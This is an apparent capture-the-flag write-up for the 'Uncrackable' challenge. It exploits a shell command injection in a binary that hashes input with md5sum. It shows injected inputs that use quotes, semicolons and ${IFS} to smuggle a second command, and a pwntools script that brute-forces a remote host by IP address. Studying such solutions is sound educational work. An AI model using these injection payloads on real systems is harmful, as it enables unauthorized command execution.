Uncrackable was a nice break from the usual memory corruption base challenges you typically see in CTFs. I imagine there were a few ways to approach the problem, but here's one of them.
Running the binary through ghidra's decompiler gives us the following:
We can summarise its functionality as follows:
echo -n '%s' |md5sum
on the string, effectively hashing it.The obvious thing to make sure of first is that the hash has no known plaintext. I quickly ran it through crackstation and found no results.
The next thing to investigate is the fact that we have a command injection vulnerability. Any string we enter is placed into the command, so long as it doesnt have spaces (since scanf is used to grab our input).
For instance, if we enter the string test';echo${IFS}hello
, the program will compare the string testd8e8fca2dc0f896fd7cb4cb0031b
to its internal hash, since internally the binary is executing the command
echo -n 'test';echo${IFS}hello' |md5sum
.
Note: ${IFS}
can ne used in the place of a space when spaced cannot be used.
In other words, we have some ability to control the string that is compared to the hash. But we have some problems/limitations.
So we have a clear tradeoff between offering up determined characters versus some input that will hash to a different value every time. If we are guessing a small enough number of bytes, we should be able to brute force the binary into offering up the flag. So what is the shortest linux command that offers up a changing output?
One candidate is w
:
w - Show who is logged on and what they are doing.
Example output:
You might notice that it includes time in its output. This gives us the changing element that will cause the resulting hash to change. We contruct a payload like this:
3b9aafa12aceeccd29a154766194';w'
Which forces all but the last 4 characters of the hash. We are now in the realm of bruteforceability.
Full exploit:
from pwn import *
context.log_level = 'error'
while True:
p = remote("54.225.38.91", 1025)
p.sendline("3b9aafa12aceeccd29a154766194';w'")
resp = p.recvline()
if not "not good" in resp:
print(resp)